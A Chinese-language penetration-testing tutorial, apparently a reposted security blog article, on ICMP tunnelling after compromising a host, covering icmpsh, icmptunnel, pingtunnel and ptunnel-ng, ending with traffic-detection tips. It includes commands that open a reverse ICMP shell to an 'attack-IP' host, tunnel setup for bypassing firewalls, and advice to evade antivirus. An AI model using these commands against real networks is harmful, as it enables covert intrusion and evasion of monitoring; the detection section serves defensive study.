内网渗透-隧道与转发之ICMP

  • A+
所属分类:安全文章

0x01 前言

在拿下一台主机后,往往需要执行一些命令或者上传下载一些文件,以便我们提权,转发等操作,但现在大型企业在网络边界往往部署了流量分析设备,这些设备会对数据包进行分析,如果说我们的shell没有进行加密,那么自然很容易就会被抓到。另外网络中的防火墙设备也会对某些特定的端口数据包进行封堵,导致shell无法连接。
这时就需要隧道技术来进行数据封装,从而达到绕过的目的。
ps:隐藏隧道通信技术很早就有了,现阶段的安全设备也更新迭代了好几波了,这里只是做一个介绍和学习,在实战中使用什么隧道,什么加密,数据包怎么切割封装,什么工具比较稳定等还需要多实战测试。

0x02 ICMP流量结构

  • ICMP协议在实际传输中数据包:20字节IP首部 + 8字节ICMP首部 + 1472字节<数据大小>
  • ICMP报文格式:IP首部(20字节) + 8位类型 + 8位代码 + 16校验和 + (不同类型和代码,格式也有所不同)
  • ping和ICMP的关系:ping命令发送数据使用的是ICMP协议
  • ICMP协议通过IP协议发送的,IP协议是一种无连接的,不可靠的数据包协议
  • 向指定的网络地址发送一定长度的数据包,按照约定,若指定网络地址存在的话,会返回同样大小的数据包
  • 除了ping还有Traceroute也使用了icmp协议,另外一些设备也会通过该协议去判断某些错误
先看一个正常的ping请求发送的ICMP数据包
内网渗透-隧道与转发之ICMP
可以看到长度为74,数据为32字节的固定内容。当然也可以使用-l参数来制定数据长度。

0x03 ICMP隧道优缺点

优点:
防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高。
缺点:
ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低
利用隧道传输时,需要接触更低层次的协议,需要高级用户权限

0x04 ICMP隧道

先把虚拟机的入站连接全部干掉,在防火墙上添加过滤即可。
内网渗透-隧道与转发之ICMP

4.1 icmpsh

icmpsh是一个反向icmp shell,被控端只能支持windows,控制端可以支持c、perl、python环境。
在渗透过程中,遇到目标不能正常返回tcp的shell时,就可以尝试使用该工具,通过走icmp去获取一个shell。
在运行时不要忘记关闭icmp应答,要不会陷入个死循环。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
在控制端执行监听:icmpsh_m.py attack-IP target-IP
把exe文件上传到目标机,如果主机有杀软需要关闭杀软或者对这个exe文件进行免杀处理。
执行:icmpsh.exe -t attack-ip
稳定性和速度都尚可。
内网渗透-隧道与转发之ICMP
观察可以发现,由目标机不断向攻击机发送ICPM包,攻击会把命令带到返回包中,当目标机接收命令后会将结果带到请求中。
同时控制每个包的数据长度在106,数据长度都是64。在等待过程中,数据包中都不会带有data内容。

4.2 icmp隧道

ICMP隧道是指将TCP连接通过ICMP包进行隧道传送。隧道呢可以理解为一个点对点连接。通过icmp隧道可以做到
  • 突破专门认证:连接到公共场所,如酒店、机场等wifi,可以突破其页面认证
  • 突破防火墙:绕过防火墙的一些防护策略
  • 加密通信:可以通过加密,创建完全加密的通信通道
  • 突破运营商的TCP或者UDP速度限制

4.2.1 icmptunnel

icmptunnel是一个稳定的icmp隧道建立工具,可以穿过状态防火墙或NAT。它和ptunnel不同的是,可以通过隧道代理任何IP流量。此外,所有的客户端IP包-而不仅仅是单个会话,端口等。
优点
  • 数据加密- ICMP有效载荷是加密的。
  • 多功能性-任何IP流量都可以通过隧道。
使用方法
下载
git clone https://github.com/DhavalKapil/icmptunnel
编译 
cd icmptunnel
make在服务端(攻击机)起服务(需要root权限)
./icmptunnel -s 10.0.1.1
在客户端执行
roule -n //查看网关地址
内网渗透-隧道与转发之ICMP
然后编辑client.sh,替换server地址,网关以及网口替换成服务端的
内网渗透-隧道与转发之ICMP
然后执行即可
./icmptunnel -c server-ip
内网渗透-隧道与转发之ICMP
这个时候就会建立一个隧道,不出网的机器就可以通过服务端(攻击机)访问internet,同时走的全是ICMP请求。
测试期间遇到一个来自18.163.116.29的ping请求,然后隧道就会断掉。
内网渗透-隧道与转发之ICMP

后来发现issues里面有人提出过这个问题,原因就是因为收到其他机器的ping请求。看来工具作者还是没有解决这个问题。不过如果部署在内网中,情况也许就好一点。
内网渗透-隧道与转发之ICMP
也发现了其弊端,并没有什么加密的选项。如果想要进行加密,可以在此之上进行运行其他的安全加密协议,如使用ssh动态转发
ssh -D 8080 -N [email protected]
github上有两个同名项目,还有一个300多星的jamesbarlow/icmptunnel。功能和上面的一样,使用方式也差不多。
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
同样在公网端启动服务端
./icmptunnel –s
ifconfig tun0 10.0.2.1 netmask 255.255.255.0
客户端执行
./icmptunnel <server>
ifconfig tun0 10.0.2.2 netmask 255.255.255.0
这样一条隧道就建立好了,速度和稳定性都还可以。
内网渗透-隧道与转发之ICMP
流量包中含有明显的特征字段,稳定性还是不错的。
内网渗透-隧道与转发之ICMP

4.2.2 pingtunnel

pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具。用于突破网络封锁,或是绕过WIFI网络的登陆验证,或是在某些网络加快网络传输速度。它把客户端的TCP通信通过ICMP隧道发送到指定的ptunnel服务器。服务器将充当代理,并将TCP数据包转发到它们的实际目的地,或从目的地转发。
优点:
  • 连接可靠
  • 支持多连接
  • 支持加密
使用方式
sudo wget (最新release的下载链接)
sudo unzip pingtunnel_linux64.zip
sudo ./pingtunnel -type server
在渗透中,往往需要内网的服务器做server端,web服务器当做跳板进行转发。
这里更敢兴趣的是他的加速功能,在VPS上部署后,启动server端
内网渗透-隧道与转发之ICMP
在本地执行./pingtunnel -type client -l :4455 -s xxxx -sock5 1就会有一个本地4455端口的socks5代理,代理挺稳定的。观察数据包发现其data填充好像没什么规律,数据包长度都不太一样。
内网渗透-隧道与转发之ICMP

4.2.3 ptunnel-ng

ptunnel-ng是Ptunnel的一个bug修正和重构版本,它添加了一些额外的特性
安装
windows下可以直接下载相应文件
linux需要下载编译安装
git clone https://github.com/lnslbrty/ptunnel-ng.git
cd ptunnel-ng/
执行./autogen.sh
如果报错说命令没找到,需要安装autoconf automake libtool依赖库
make install
使用
Proxy(Server):
./ptunnel-ng -r<destination address> -R<destination port> -v <loglevel>
-P<password> -u<user> -g<group>
Forwarder(Client):
./ptunnel-ng -p <address> -l <listen port> -r<destination address>
-R<destination port> -v <loglevel>
-P<password> -u<user> -g<group>
使用icmp隧道打开ssh
在server端执行
ptunnel-ng
在client端执行
ptunnel-ng -p[Server-IP/NAME] -l2222
另外测试时如果公网vps不能ping通内网出口IP地址时,那么只能由VPS去连接内网主机,内网主机去连接VPS会因为ping包无法接受问题导致无法连接。

0x05 流量检测

1、检测同一来源 ICMP 数据包的数量。一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的有大量数据包
2、注意那些 ICMP 数据包中 payload 大于 64 比特的数据包。当然 icmptunnel 可以配置限制所有数据包的 payload 为 64 比特,这样会使得更难以被检测到。
3、寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包。
4、检查 ICMP 数据包的协议标签。例如,icmptunnel 会在所有的 ICMPpayload 前面增加 ‘TUNL’ 标记以用于识别隧道,这就是特征。
5、数据包内容,正常和不正常那不一眼就能看明白么
windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes

linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

0x06 总结

在实际渗透过程中,还是需要根据实际环境来使用相应工具,所以掌握和运用这些工具也是很有必要的。能够快速决定使用什么工具和部署也是很有必要的,必经在攻防演练中,时间还是很重要的。
1、目标不出网可以ping通,使用icmpsh获取shell。注意免杀
2、内网服务器由于防火墙原因,TCP和UDP流量被封禁,在DMZ区的主机上搭建icmp隧道。

0x07 参考文章

隧道技术之DNS和ICMP与其检测防御
内网渗透之ICMP隐藏隧道

本文始发于微信公众号(雷石安全实验室):内网渗透-隧道与转发之ICMP

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: